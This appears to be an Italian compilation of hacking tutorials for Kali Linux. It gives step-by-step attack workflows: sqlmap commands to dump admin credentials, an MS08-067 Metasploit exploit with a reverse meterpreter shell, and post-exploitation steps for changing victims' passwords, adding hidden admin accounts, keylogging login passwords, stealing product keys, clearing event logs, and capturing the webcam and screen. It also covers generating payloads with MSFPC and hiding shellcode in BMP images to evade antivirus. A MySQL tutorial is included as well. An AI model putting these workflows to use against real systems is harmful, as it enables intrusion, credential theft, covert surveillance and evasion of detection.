Il comando -D specificherà un database specifico da cercare. Ancora una volta notate il doppio trattino in –tables. Questo produrrà le tabelle nel database sullo schermo.

Ora che abbiamo con noi l'elenco delle tabelle, sarebbe una buona idea prendere le colonne di qualche tabella importante. Diciamo che la tabella è ' admin_user ' e contiene il nome utente e la password.

Per cercare una delle tabelle digitare il seguente comando:

Sintassi:  sqlmap.py -u "Il tuo URL di destinazione" -D (il database che hai scelto) -T (scegli una tabella) –columns

Il comando -T specifica la tabella in cui cercare, mentre il doppio trattino in –columns stampa le colonne sullo schermo. Abbiamo deciso di cercare nella tabella admin_user e ci è stato presentato il comando seguente.

Comando: sqlmap -u “http://www.example.com/news.php?id=11” -D db363851433 -T admin_user –columns

Quindi ora le colonne sono chiaramente visibili. Ora arriva la parte più interessante, l'estrazione dei dati dalla tabella. Nell'elenco delle colonne notare admin_user_name e admin_pass . Queste sono le due colonne che dobbiamo davvero scaricare. Il comando sarebbe:

Sintassi:  sqlmap -u "Il tuo URL di destinazione" -D (il database che hai scelto) -T (la tabella che hai scelto) -C (scegli una colonna) –dump

Comando:  sqlmap -u “http://www.example.com/news.php?id=11” -D db363851433 -T admin_user -C admin_user_name,admin_pass –dump

E se vuoi scaricare tutti i dati da una particolare colonna, allora il comando sarebbe:

Comando:  sqlmap -u “http://www.example.com/news.php?id=11” -D db363851433 -T admin_user –dump

La colonna hash sembra avere l'hash della password. Prova a decifrare l'hash e otterrai subito i dettagli di accesso. Sqlmap creerà anche un file .csv contenente i dati di dump per un'analisi facile e futura.

A volte Sqlmap non è in grado di connettersi affatto all'URL. Questo è visibile quando si blocca alla prima attività di " test della connessione all'URL di destinazione ". In questi casi è utile utilizzare l'opzione “ –random-agent ”. Ciò consente a Sqlmap di utilizzare una firma dell'agente utente valida come quelle inviate da un browser come Chrome o Mozilla Firefox.

Per gli URL che non sono nel formato param=value Sqlmap non può sapere automaticamente dove iniettare.

Ad esempio, alcuni URL sono come: http://www.example.com/page/about.

In tali casi è necessario indicare a Sqlmap il punto di iniezione contrassegnato da un *

Ad esempio, alcuni URL sono come: http://www.example.com/page*/about.

Quanto sopra dirà a Sqlmap di iniettare nel punto contrassegnato da * .

Quando si utilizzano moduli che inviano dati tramite il metodo post, a Sqlmap devono essere forniti i dati post nelle opzioni " –data " che cercheremo di trattare nel prossimo articolo.

Per i siti con vulnerabilità SQL Injection dopo la pagina di accesso, possiamo anche definire tutti i parametri dei cookie sotto forma di –cookie=”security=low; PHPSESSID=4gfgtf45ft45ft45f4564576fgfhtyj” .

Qui, –cookie sta per Cookie di sessione per mantenere l'accesso durante l'attacco.

In ulteriore sfruttamento, chiediamoci cosa possiamo fare di più? La risposta è possediamo il sistema operativo con l'aiuto di “ –os-shell “. Qui il parametro –os-shell cercherà di ottenere la shell dei comandi del sistema operativo sfruttando l'iniezione SQL.

Cheatsheet dei comandi SQLMAP –

Recupera DB

sqlmap -u "Il tuo obiettivo" –dbs

Tabelle di recupero

sqlmap -u "Il tuo obiettivo" -D <Database> –tables

Recupera colonne

sqlmap -u "Il tuo obiettivo" -D <Database> -T <Nome tabella> –columns

Scarico dati

sqlmap -u "Il tuo obiettivo" -D <Database> -T <Nome tabella> -C <Nomi colonne> –dump

Discarica tabella particolare

sqlmap -u "Il tuo obiettivo" -D <Database> -T <Nome tabella> –dump

Agente casuale

sqlmap -u "Il tuo obiettivo" –dbs –random-agent

Dopo il test dei dati

sqlmap -u "Il tuo obiettivo" –data="<Informazioni sui parametri dinamici>" –dbs

Scansione da file

sqlmap -r <file.txt> –dbs

Incorpora cookie

sqlmap -u "Il tuo obiettivo" –cookie="<Informazioni sui cookie>" –dbs

Aumenta il livello e il rischio

sqlmap -u "Il tuo obiettivo" –dbs –risk=3 –level=5

Punti da ricordare:

Rileva utente/versione/tema/plugin di WordPress con lo strumento WP-Grab-Info

   

WP-Grab-Info è uno strumento open source attraverso il quale è possibile rilevare facilmente la versione di WordPress, il nome utente, il nome del tema e l'elenco dei plug-in.

Installa WP-Grab-Info in Kali Linux –

Per installare questo strumento sopra menzionato, puoi scaricare il file WP-Grab.pl direttamente dal repository di Github oppure puoi installarlo tramite il comando Git Clone come mostrato di seguito:

Comando: git clone https://github.com/Moham3dRiahi/WP-Grab-Info.git

Dopo l'installazione completa, per eseguire WP-Grab-Info, digitare

Comando: perl WP-Grab.pl -u http://example.com/

Dove, -u sta per il tuo URL WordPress di destinazione.

Questo strumento non è più utile ma sì, è un rapido strumento di test di enumerazione e se vuoi davvero scansionare l'intero sito Web WP, puoi anche utilizzare WPSCAN  che è uno dei più popolari strumenti di fingerprinting di WordPress o WPSEKU  che è un altro scanner di sicurezza di WordPress.

Cambia la password di Windows del PC remoto tramite METASPLOIT

   

Per cambiare la password di Windows, il primo passo è hackerare quel sistema tramite il framework Metasploit e dipende sempre dal sistema operativo di destinazione, ad esempio quale versione sta utilizzando il tuo target.

In questo articolo, assumiamo che il sistema operativo di destinazione sia Windows XP e l'exploit che utilizzeremo sia NETAPI , uno degli exploit più popolari della storia.

Informazioni su MS08_067_NETAPI –

Questo modulo sfrutta un difetto di analisi nel codice di canonicalizzazione del percorso di NetAPI32.dll attraverso il servizio server ed è in grado di aggirare NX su alcuni sistemi operativi e service pack.

Requisiti: Per sfruttare MS08-067 utilizzando Metasploit Framework:

  1. Postazione di lavoro VirtualBox/VMWare
  2. KaliLinux  
  3. Sistema operativo di destinazione (XP)

Crea due macchine virtuali, vale a dire " Target (Windows XP) " e " Attaccante (Kali Linux) ". Assegna automaticamente l'indirizzo IP in entrambe le macchine virtuali con NAT come modalità di rete.

Prima di utilizzare Metasploit Framework in Kali Linux, assicurati di avere una versione aggiornata di Metasploit Framework che puoi facilmente aggiornare tramite " msfupdate ".

Non appena hai l'ultima versione di Metasploit Framework, digita " msfconsole " nel tuo terminale. L'ultima versione di Metasploit Framework è la 4.16.6 in cui il numero totale di exploit è di circa 1682 e i payload sono 498.

La msfconsole è l'interfaccia più popolare per Metasploit Framework. Fornisce una console centralizzata " all-in-one " e consente un accesso efficiente a praticamente tutte le opzioni disponibili nel Metasploit Framework. In alternativa, puoi anche utilizzare Armitage, che è la versione grafica di Metasploit Framework, ma preferiamo sempre utilizzare l'interfaccia a riga di comando.

Usiamo il comando Cerca per trovare i moduli exploit con la parola chiave netapi. Digita " cerca netapi ". Ora puoi vedere l'elenco dei moduli che corrispondono al netapi insieme alla data di divulgazione e al grado.

Sfrutteremo MS08-067 , quindi digita " use exploit/windows/smb/ms08_067_netapi ".

Ora che abbiamo scelto il nostro exploit, possiamo chiedere a Metasploit quali sono le nostre opzioni. Digitando " mostra opzioni ", Metasploit elencherà le nostre opzioni nell'esecuzione di questo exploit.

Successivamente abbiamo impostato il Target come RHOST che sarà l'indirizzo IP dell'host/macchina remota che stiamo attaccando.

Comando: imposta RHOST <IP di destinazione>

Puoi anche impostare RPORT come 445 che è profondamente integrato in Windows ed è difficile da chiudere in modo sicuro. Tecnicamente, la porta 445 è "SMB over IP". SMB sta per "Server Message Blocks". Server Message Block nel linguaggio moderno è anche noto come Common Internet File System. Il sistema funziona come un protocollo di rete a livello di applicazione utilizzato principalmente per offrire accesso condiviso a file, stampanti, porte seriali e altri tipi di comunicazioni tra i nodi di una rete.

Dopo aver definito RHOST e RPORT, utilizziamo il Reverse Tcp Payload per questo exploit. Digita " set payload windows/meterpreter/reverse_tcp " in msfconsole.

Il payload è quel pezzo di codice che corre insieme all'exploit e fornisce all'hacker una shell inversa. Useremo il payload di windows meterpreter. Se vuoi vedere tutti i payload disponibili, usa il comando " show payloads ".

Perché metropreter ? Perché meterpreter è un tipo molto potente di shell inversa che ha molte funzionalità già integrate. La funzionalità include attività comuni di post-exploit come la scansione della rete del target, dell'hardware, dei dispositivi di accesso, ecc. Meterpreter può anche avviare una sessione vnc.

Ora che abbiamo selezionato il payload, è tempo di controllare ancora una volta le opzioni digitando lo stesso comando " mostra opzioni ".

Ora abbiamo le opzioni LHOST e LPORT dopo aver aggiunto il payload a Metasploit. L'LHOST è l'indirizzo IP della macchina locale o della macchina attaccante che puoi ottenere facilmente digitando " ifconfig " in un altro terminale. LPORT è il numero di porta su cui il reverse shell listener riceverà la shell in arrivo, ad esempio 4444 in questo caso.

OK, è il momento di sfruttare la vulnerabilità, digita " exploit " o " esegui " nella console. Se l'exploit ha successo, puoi vedere il seguente risultato.

Ora possiamo facilmente controllare il computer remoto usando il meterpreter. Nell'articolo precedente, abbiamo già discusso molti comandi meterpreter che puoi prendere come riferimento.

Ora per cambiare la password di Windows, devi prima entrare nella modalità SHELL del PC della vittima digitando " shell " nella stessa console.

Inoltre, digita " net user " per mostrare tutti gli utenti di Windows. Il comando net user viene utilizzato per aggiungere, rimuovere e apportare modifiche agli account utente su un computer.

Per cambiare la password della macchina della tua vittima, digita " net user <Utente> <Password>  " come mostrato di seguito.

Giocaci di più e quando hai finito, digita ' exit ' e premi invio. Tornerà alla sessione meterpreter.

Puoi persino creare il tuo utente amministratore in remoto nella macchina compromessa con l'aiuto dello stesso comando net user.

Digita " net user <Nome utente> /add ".

E per impostare la password nell'utente appena creato, digitare " net user <Nome utente> <Nuova password> ".

E la cosa migliore è che puoi persino nascondere qualsiasi utente della macchina Windows digitando " net user <Nome utente> /active:no ".

Ora puoi facilmente verificare se quell'account è disabilitato o meno digitando " net user <Username> ".

Usa Keylogger in Metasploit Framework

   

A volte un penetration tester può avere accesso remoto alla macchina di un utente, ma potrebbe non avere la password dell'utente. Forse l'utente ha una password complessa molto lunga che richiederebbe troppo tempo per decifrarla. Cosa poteva fare?

Meterpreter nel Metasploit Framework ha una grande utilità per catturare i tasti premuti su una macchina di destinazione. Inizieremo con un sistema su cui abbiamo già eseguito un exploit e siamo riusciti a creare una sessione remota con Metasploit. Ci siamo connessi alla sessione con il comando di sessione e ora siamo seduti al prompt di Meterpreter.

Inizieremo con un sistema su cui abbiamo già eseguito un exploit e siamo riusciti a creare una sessione remota con Metasploit. Ci siamo connessi alla sessione con il comando " session -i <ID#> " e ora siamo seduti al prompt di Meterpreter.

Come abbiamo già visto, quanto è facile hackerare la macchina Windows con l'aiuto di Metasploit Framework. Una volta ottenuta la sessione meterpreter, possiamo facilmente utilizzare il modulo keylogger integrato per spiare gli utenti Windows.

Nell'ultimo articolo, abbiamo già spiegato come hackerare un computer Windows con Metasploit Framework , quindi fai riferimento a questo se hai bisogno di ulteriore aiuto su questo argomento. Una volta entrato nella sessione meterpreter, digita " sysinfo " per visualizzare le informazioni sul sistema operativo di destinazione.

Dopodiché digita " ps " nel tuo terminale di comando per visualizzare tutti i processi in esecuzione nella macchina Windows che hai violato con Metasploit.

Qui nello screenshot sopra, puoi vedere che l'ID processo del processo explorer.exe è 772 di cui abbiamo bisogno prima di avviare il modulo keylogger.

Per controllare l'ID del tuo processo corrente in cui inserisci il tuo payload, digita " getpid " nella stessa console. Ora digita " migrate <PID> " per migrare il processo dal PID corrente al PID Explorer.exe.

Quindi andiamo avanti e vediamo come appare quando avviiamo un keylogger remoto, quindi vedremo i tratti dei tasti catturati. Basta digitare " keyscan_start " per avviare la registrazione remota.

Ora dobbiamo solo aspettare che la nostra vittima digiti alcune cose sulla tastiera. Per il nostro esempio, vai avanti e apri il tuo browser Windows e prova ad accedere al tuo account Facebook.

Ora torniamo al sistema Kali, per vedere cosa è stato digitato è sufficiente inserire " keyscan_dump "

E per fermare questo modulo keylogger, puoi usare il comando " keyscan_stop ". Per visualizzare altri comandi meterpreter, fare riferimento all'articolo " I 60 migliori comandi meterpreter ".

Automatizzare la scansione delle chiavi con Lockout Keylogger

Ora, sarebbe fantastico se potessimo automatizzare questo processo. Voglio dire, vuoi davvero sederti lì e uscire finché l'utente non lascia il suo sistema?

Potresti forzare il suo desktop in modalità bloccata e farlo accedere di nuovo, ma è piuttosto sospetto.

E se potessi fare in modo che Meterpreter trovi automaticamente e migri al processo winlogon, quindi scansiona il tempo di inattività del computer e mette automaticamente il sistema dell'utente in modalità bloccata?

Infine, sarebbe davvero bello anche se lo script ti avvisasse quando l'utente accede nuovamente e ti fornisse un dump di testo della sua password.

Incontra " Lockout_Keylogger ", uno script straordinario realizzato da CG e Mubix. È necessario iniziare con una sessione remota attiva con privilegi a livello di " sistema ".

Ora basta digitare " background " per tornare alla sessione e tornare al prompt di Meterpreter. Digita " usa post/windows/capture/lockout_keylogger ".

Imposta il numero di sessione sulla nostra sessione attiva (1 nel nostro esempio), quindi " imposta sessione 1 ".

E imposta anche il tuo valore PID come da screenshot qui sotto. Quindi digitare " exploit ":

Lockout_Keylogger trova automaticamente il processo Winlogon e vi migra. Il programma inizia quindi a monitorare il tempo di inattività del sistema remoto.

Dopo circa 300 secondi di inattività, Lockout Keylogger tenta di bloccare il desktop dell'utente da remoto. A volte fallisce e prova a bloccarlo di nuovo: OK, il blocco ha bloccato correttamente la workstation e inizia a cercare sequenze di tasti.

 

In questo articolo abbiamo dimostrato come utilizzare Metasploit in Kali per acquisire i tasti premuti da un sistema remoto. Abbiamo anche appreso che le password di accesso non verranno registrate normalmente in una password di battitura poiché il servizio di accesso a Windows utilizza un buffer di tastiera diverso. Ma se spostiamo il nostro keylogger su quel processo, possiamo effettivamente acquisire le credenziali di accesso.

Ci è stato anche presentato un pratico programma che migra la sessione al processo Winlogon, controlla il tempo di inattività del sistema, quindi lo blocca e acquisisce la password quando l'utente tenta di accedere nuovamente.

Lockout_Keylogger automatizza l'intero processo dall'inizio alla fine. L'utente si allontana dal suo PC, lo script attende un certo periodo di inattività e poi mette il computer in modalità bloccata.

Poi, quando si riconnette, è già impostato per scansionare i tasti premuti. La password potrebbe essere una semplice password o un mostro complesso, non importa. Lockout_Keylogger lo intercetta e lo visualizza in chiaro sulla macchina del penetration tester.

Ruba il codice Product Key di Windows in remoto con Metasploit Framework

   

Come discusso in precedenza, abbiamo sfruttato con successo una macchina Windows con Metasploit Framework e creato un utente amministratore nella macchina mirata. Ora, in questo articolo, parleremo di un altro exploit che ruba il codice Product Key di Windows da remoto.

Leggi qui: Come hackerare una macchina Windows con Metasploit Framework

Per questi metodi, eseguire " NETAPI Exploit " (specialmente per Windows XP) in modalità background digitando il comando " exploit -j ".

Per visualizzare tutte le sessioni compromesse, digita " sessions " nella stessa console.

Ora useremo un altro exploit che ruba il codice Product Key di Microsoft Windows e per questo digitiamo " use post/windows/gather/enum_ms_product_keys " nello stesso terminale.

Imposta il valore ID della sessione che abbiamo violato digitando " set session <ID> "

Esercitazione sulla riga di comando MYSQL – Kali Linux

   

Come tutti sapete, Kali Linux è uno dei sistemi operativi per test di penetrazione più popolari con oltre 400+ strumenti di hacking preinstallati.

Kali è l'ultima e la migliore versione della sempre popolare distribuzione di test di penetrazione Backtrack Linux. I creatori della serie Backtrack hanno mantenuto Kali in un formato molto simile a Backtrack, quindi chiunque abbia familiarità con la vecchia piattaforma Backtrack si sentirà come a casa.

Kali è stata rinnovata da zero per essere la migliore e più ricca distribuzione Ethical Hacking/Pentesting disponibile. Kali funziona anche su più dispositivi hardware, aumentando notevolmente le opzioni per i test di penetrazione della sicurezza informatica o i sistemi di "pentesting".

Se vieni a Kali da un background Backtrack, dopo un breve periodo di familiarizzazione dovresti scoprire che tutto è molto simile e il tuo livello di comfort dovrebbe crescere molto rapidamente.

Se non conosci Kali, una volta che ti sarai abituato, troverai una piattaforma di test di sicurezza facile da usare che include centinaia di strumenti utili e potenti per testare e proteggere i tuoi sistemi di rete.

Prima di utilizzare l'interfaccia della riga di comando MySQL, assicurati che il tuo servizio MySQL sia attivo o in esecuzione e per avviare il servizio MySQL in Kali Linux, digita " service mysql start " e per controllare lo stato del tuo servizio mysql, digita " stato mysql del servizio “.

MySQL o MariaDB, entrambi sono uguali in Kali Linux, quindi non farti confondere dal nome, in MariaDB puoi eseguire tutti i comandi MySQL in modo efficiente.

Per accedere a MySQL da una shell Unix, digita " mysql -h localhost -u root -p " e premi doppio invio perché per impostazione predefinita non è impostata alcuna password per l'utente root in MySQL.

Ora per creare un nuovo database, digita " create database <DB Name>; ” e per mostrare tutti i database, digitare “ show databases; ” nella stessa console.

Se si desidera cambiare il database, è possibile digitare " use <DB Name>; "

Per creare una tabella tramite la riga di comando, digitare " CREATE TABLE <nome tabella> (id VARCHAR(20), nome VARCHAR(20), cognome VARCHAR(20), nome utente VARCHAR(8), e-mail VARCHAR(35), password VARCHAR(25 )); "

e per mostrare tutte le tabelle, puoi digitare " mostra tabelle ".

Per inserire qualsiasi dato, puoi digitare " INSERT into <table name> (id, firstname, lastname, username, email, password) VALUES ('1', 'Yeah', 'Hub', '      ', '      @gmail .com', '123456'); "

Per visualizzare i formati dei campi del database, digitare " descrivi <nome tabella>; "

Per vedere tutti i dati in una particolare tabella, puoi digitare “ SELECT * FROM <nome tabella>; "

E se vuoi mostrare i dati di una particolare colonna, allora il comando è “ SELECT <nome colonna> FROM <nome tabella>; "

Per contare il numero di righe di una particolare tabella, digitare “ SELECT COUNT(*) FROM <nome tabella>; "

Se vuoi creare un nuovo utente nel database MySQL, devi prima cambiare il database in MySQL digitando “ use mysql; ” nella stessa console.

Quindi digita “ INSERT INTO user (Host,User,Password) VALUES('%','username',PASSWORD('password')); "

E per aggiornare i permessi/privilegi del database, digitare “ flush privilegi; "

Per eliminare qualsiasi riga da una particolare tabella, digita “ DELETE from <table name> where <field name> = 'whatever'; "

E se vuoi eliminare l'intera tabella, allora il comando è “ drop table <table name>; "

Comandi Meterpreter in dettaglio    – Metasploit Framework

   

Dopo un exploit riuscito, una shell Meterpreter consente di eseguire molte funzioni diverse insieme a una shell remota completa.

Meterpreter è ottimo per manipolare un sistema una volta ottenuta una connessione remota, quindi a seconda di quali sono i tuoi obiettivi; una shell Meterpreter è solitamente preferita a una shell terminale remota diretta.

Meterpreter ci fornisce una serie di comandi e utilità che possono essere eseguiti per aiutare notevolmente nei test di sicurezza. Ad esempio, ci sono comandi per estrarre gli hash delle password e raccogliere dati e impostazioni dal sistema.

Ci sono anche alcuni strumenti divertenti inclusi in Meterpreter, ad esempio, puoi attivare la webcam dell'utente e acquisire immagini fisse, puoi attivare il microfono remoto e persino acquisire schermate del desktop di ciò su cui sta lavorando l'utente.

In questo articolo tratteremo rapidamente la shell Meterpreter e alcune delle sue caratteristiche. Quindi iniziamo prima il metasploit digitando " msfconsole " nel terminale.

Iniziamo con una macchina che abbiamo ingannato per eseguire un exploit nella macchina Windows. Una volta eseguito, il programma backdoor si è connesso al nostro sistema Kali ed è stata creata una sessione.

A seconda dell'obiettivo, devi utilizzare l'exploit corretto, ad esempio se il tuo obiettivo è Windows 7 o 8 o versioni successive, puoi utilizzare l'exploit Multi Handler come mostrato di seguito:

E se il tuo obiettivo è Windows XP, puoi utilizzare Netapi Exploit che è uno degli exploit più famosi e facili da usare che può trarre vantaggio dalla connessione SMB come mostrato di seguito:

Una volta connesso alla sessione, ci viene fornito un prompt di Meterpreter. Ok, vediamo cosa può fare Meterpreter, iniziamo usando il comando " help " per vedere cosa è disponibile.

Quando lo facciamo, vediamo che i comandi sono suddivisi in sezioni. I comandi sono:

Non tratteremo tutti i comandi, ma ne esamineremo un paio in modo un po' più approfondito. È una buona idea leggerli tutti per avere una comprensione di base di ciò che possono fare.

COMANDI FONDAMENTALI

Come utente di livello principiante, probabilmente utilizzerai solo sfondo, guida, caricamento, migrazione, esecuzione ed uscita da questo elenco.

Puoi tornare alla tua sessione semplicemente usando il comando " session -i <session #> ".

COMANDI DEL FILE SYSTEM

Quando hai una shell Meterpreter, fondamentalmente hai a che fare con due file system, locale e remoto. I comandi del file system consentono di interagire con entrambi.

Fondamentalmente puoi usare i comandi standard di Linux per aggirare e utilizzare il file system. Ma come fai a distinguere tra il sistema locale e il sistema remoto a cui sei collegato?

Si presuppone che tutti i comandi vengano utilizzati sul sistema remoto. Quindi, ad esempio, per ottenere un elenco di directory del sistema remoto, basta usare il comando " ls ":

Se creiamo una directory chiamata "        " sulla macchina remota, possiamo accedervi e quindi elencare i contenuti:

Quando hai bisogno di spostarti nel tuo file system locale (Kali), ci sono un paio di comandi che puoi usare.

Quindi, se avessimo bisogno di controllare la nostra directory di lavoro locale e poi passare alla nostra directory Desktop sul nostro sistema Kali, possiamo fare quanto segue:

Il download consente di scaricare file dal sistema di destinazione e, viceversa, il caricamento consente di inviare file al sistema remoto.

Quindi se volessimo caricare un file, basterà collegarsi alle directory locale e remota che si desidera ed eseguire il comando upload con il nome del file che si desidera inviare, come mostrato di seguito:

Ci siamo collegati al desktop sulla macchina Kali dove avevamo il nostro file di strumenti. Ci siamo quindi collegati alla directory corrente sul nostro target e abbiamo semplicemente utilizzato il comando " upload " per trasferire il file.

Il download funziona allo stesso modo, basta usare download e il nome del file per estrarre il file dal sistema remoto e memorizzarlo sulla tua macchina Kali locale:

Ora diamo un'occhiata ai comandi di rete.

COMANDI DI RETE

Questi comandi consentono di visualizzare e manipolare alcune funzionalità di rete di base.

Qui abbiamo eseguito il comando " route " per conoscere i percorsi di rete IPv4 e IPv6.

COMANDI DI SISTEMA

Di seguito è riportato un elenco di comandi di sistema. Non li copriremo tutti, ma ancora una volta, è bene leggere l'elenco per familiarizzare con loro:

CLAREV: questo piccolo comando utile tenterà di cancellare i registri sul computer remoto.

Potremmo voler cancellare le nostre tracce e cancellare i registri di sistema sulla macchina di destinazione. Se guardiamo i log lato sistema Windows, possiamo vedere che è pieno di eventi:

Alcuni di questi eventi possono includere cose che abbiamo fatto. Quindi possiamo cancellare i log in remoto dal
sistema Kali digitando " clearev ".

I registri dell'applicazione, del sistema e della sicurezza vengono cancellati. Se esaminiamo nuovamente il registro di sicurezza, mostra solo un record per la cancellazione del registro.

Ora ovviamente questo risalterà come un pollice dolorante a chiunque analizzi i registri. Ma se ci sono eventi che vuoi rimuovere, puoi cancellare il registro.

COMANDI GETPID E PS – Usando Meterpreter, due dei comandi che userai più frequentemente sono getpid e ps.

Quindi se digito " getpid " vedo questo. Questo è il numero ID del processo utilizzato dalla nostra shell. Se digito " ps " posso vedere tutti i processi:

Questo mostra il nostro ID processo di 924. Mostra anche che stiamo eseguendo un processo svchost.exe come utente " NT AUTHORITY\SYSTEM ".

Queste informazioni sono utili quando vogliamo " migrare " da questo processo di basso livello a un processo con un accesso di livello superiore. Possiamo spostare la nostra shell da questo PID a un processo con accesso di livello superiore.

La migrazione ci consente anche di unire e nascondere il nostro guscio in un altro processo più comune, nascondendo in sostanza la nostra connessione. Explorer.exe è uno dei processi più comuni a cui migrare.

Basta trovare il numero PID del processo che si desidera utilizzare ( 1504 sul nostro sistema) e digitare " migrate <PID#> "

Acquisizione di video, schermate e audio della webcam

Esiste un termine chiamato " minaccia persistente avanzata " che potrebbe effettivamente consentire agli aggressori di accendere la tua webcam e persino di registrare l'audio.

WEBCAM VIDEO –  Dalla shell Metasploit, digitando “ esegui webcam -h ” viene visualizzato il menu di aiuto e sfortunatamente ci sono così tanti comandi che ora sono deprecati nell'ultima versione.

Ecco l'elenco di tutti i comandi della webcam che puoi usare facilmente.

SCHERMATE

Puoi catturare un'istantanea di ciò che è attualmente visualizzato sul monitor del tuo obiettivo usando il comando " screenshot ":

Se apriamo il file vediamo questo:

MSFvenom Payload Creator (MSFPC) – Installazione e utilizzo

   

Con l'aiuto di MSFPC, puoi generare rapidamente il payload basato sul modulo msfvenom che fa parte di Metasploit Framework. Quindi MSFvenom Payload Creator è un semplice wrapper per generare più tipi di payload come APK(.apk), ASP(.asp), ASPX(.aspx), BASH(.sh), Java(.jsp), Linux(.elf) , OSX(.macho), Perl(.pl), PHP(.php), Powershell(.ps1), Python(.py), Tomcat(.war) e Windows(.exe/.dll).

L'unico input necessario da parte dell'utente dovrebbe essere la definizione del payload che desidera dalla piattaforma (ad es. Windows) o dall'estensione del file che desidera che il payload abbia (ad es. exe).

Poiché abbiamo già creato i payload manualmente con l'aiuto di msfvenom.

Puoi persino creare i payload di massa con l'aiuto del comando " batch " e per generare il payload per tutti i moduli, basta usare " loop ".

Installazione di MSFPC in Kali Linux –

L'installazione di MSFPC può essere eseguita tramite Git Clone digitando il comando seguente:

Comando: git clone https://github.com/g0tmi1k/mpc.git

Oppure puoi persino installare lo script sopra menzionato tramite il comando apt-get che è già disponibile in Kali Linux Rolling.

Comando: apt-get install -y msfpc

Sintassi completa di MSFPC –

Comando: msfpc.sh (<DOMAIN/IP>) () (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/ CICLO>) ()

Qualche esempio:

Caratteristiche di MSFPC –

  1. Invece di inserire <DOMAIN/IP>, puoi creare un'interfaccia e MSFPC rileverà quell'indirizzo IP.
  2. Se <DOMAIN/IP> manca, verrà visualizzato automaticamente il menu IP.
  3. <PORT> mancante verrà impostato automaticamente su 443.
  4. <CMD> è un prompt dei comandi/terminale standard/nativo con cui interagire.
  5. <MSF> è una shell multipiattaforma personalizzata, che ottiene tutta la potenza di Metasploit.
  6. <CMD/MSF> mancante verrà impostato automaticamente su <MSF> ove possibile.
  7. I payload <CMD> sono generalmente più piccoli di <MSF> e più facili da aggirare EMET. Limita il supporto di moduli/script di post di Metasploit.
  8. I payload <MSF> sono generalmente molto più grandi di <CMD>, poiché sono dotati di più funzionalità.
  9. <BIND> apre una porta sul lato bersaglio e l'attaccante si connette a loro. Comunemente bloccato con le regole dei firewall in ingresso sulla destinazione.
  10. <REVERSE> fa sì che il bersaglio si ricolleghi all'attaccante. L'attaccante ha bisogno di una porta aperta. Bloccato con le regole dei firewall di ingresso sulla destinazione.
  11. <BIND/REVERSE> mancante verrà impostato automaticamente su <REVERSE>.
  12. <BIND> consente all'attaccante di connettersi quando lo desidera. <REVERSE> richiede che la destinazione si riconnetta ripetutamente per mantenere l'accesso permanente.
  13. <STAGED> divide il payload in parti, rendendolo più piccolo ma dipendente da Metasploit.
  14. <STAGELESS> è il payload autonomo completo. Più 'stabile' di <STAGED>.
  15. Se <STAGED/STAGELESS> mancante, il valore predefinito sarà <STAGED> ove possibile.
  16. <STAGED> sono "migliori" in ambienti a bassa larghezza di banda/alta latenza.
  17. <STAGELESS> sono visti come "più furtivi" quando eludono le protezioni antivirus. <STAGED> potrebbe funzionare 'meglio' con IDS/IPS.
  18. <TCP> è il metodo standard per riconnettersi. Questo è il più compatibile con TYPES come RAW. Può essere facilmente rilevato su IDS.
  19. <HTTP> fa apparire la comunicazione come traffico HTTP (non crittografato). Utile per l'ispezione dei pacchetti, che limita l'accesso alla porta sul protocollo, ad esempio TCP 80.
  20. <HTTPS> fa apparire la comunicazione come traffico HTTP (crittografato) utilizzando come SSL. Utile per l'ispezione dei pacchetti, che limita l'accesso alla porta sul protocollo, ad esempio TCP 443.
  21. <FIND_PORT> tenterà ogni porta sulla macchina di destinazione, per trovare una via d'uscita. Utile con le regole del firewall stick ingress/engress. Passerà a "allports" in base a <TYPE>.
  22. <TCP/HTTP/HTTPS/FIND_PORT> mancante verrà utilizzato per impostazione predefinita <TCP>.
  23. Alterando il traffico, come <HTTP> e ancora di più <HTTPS>, rallenterà la comunicazione e aumenterà la dimensione del payload.
  24. <BATCH> genererà quante più combinazioni possibili: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> e <TCP + HTTP + HTTPS + FIND_PORT>
  25. <LOOP> creerà solo uno di ciascun <TYPE>.
  26. <VERBOSE> visualizzerà ulteriori informazioni.

Quindi proviamo a creare il payload per la macchina Windows digitando " bash msfpc.sh windows " nella tua console.

Nel primo passaggio, ti chiederà automaticamente di utilizzare l'interfaccia (lo, eth0, wan). Se si desidera utilizzare il payload localmente come all'interno delle macchine VM, utilizzare l'opzione eth0 ie 2nd e se si desidera utilizzare questo payload per la rete WAN, il 3° numero è l'opzione giusta.

Quindi, dopo aver definito l'IP nello script msfpc, creerà automaticamente il tuo payload in base al tipo di Windows e utilizzerà le impostazioni predefinite come PORT è 443 che è la porta predefinita e il payload predefinito è "windows/meterpreter/reverse_tcp" che abbiamo già utilizzato in alcuni tutorial durante l'hacking di Android o Windows.

Se conosci già il tuo IP (eth0 o wan), puoi persino utilizzare il comando direct per creare il payload:

Comando: msfpc.sh windows 192.168.1.5

Il file di output verrà salvato nella directory /root/mpc .

Per il formato Linux: completamente automatizzato utilizzando l'interfaccia e la porta manuali

Comando: bash msfpc.sh elf bind eth0 4444 verbose

Per il formato Python: menu IP interattivo

Comando: bash msfpc.sh stageless cmd py tcp

For Loop Mode – Genera uno di tutto

Comando: ./msfpc.sh loop wan

DKMC - Un altro meraviglioso strumento di evasione del payload dannoso (hacking di Windows)

   

Windows sarebbe uno dei nostri obiettivi comuni, poiché è il sistema operativo più utilizzato nell'ambiente aziendale. Poiché la maggior parte di voi ha familiarità con Windows, sarebbe facile enumerarlo. Il nostro obiettivo principale è generare un payload dannoso con l'aiuto di DKMC (Don't kill my cat), uno strumento open source che genera shellcode offuscato memorizzato all'interno di immagini BMP.

Quell'immagine BMP sarà valida al 100% e ha uno shellcode funzionante nascosto.

Perché si chiama non uccidere il mio gatto ?

Poiché lo sviluppatore fa schifo nel trovare nomi per gli strumenti, ha deciso di fare affidamento sul fatto che l' immagine BMP predefinita è un gatto per nominare lo strumento.

Flusso di base –

Quindi il primo e principale passo è installare lo strumento DKMC nella tua macchina Kali Linux con l'aiuto dei comandi git clone come segue:

Comando: git clone https://github.com/Mr-Un1k0d3r/DKMC.git

Ora nel passaggio successivo, crea una directory denominata " output " all'interno della cartella DKMC in cui hai scaricato lo strumento sopra menzionato con l'aiuto del  comando mkdir .

Per eseguire o avviare DKMC, digita " python dkmc.py " nella stessa console che ti darà la schermata di benvenuto con alcune opzioni.

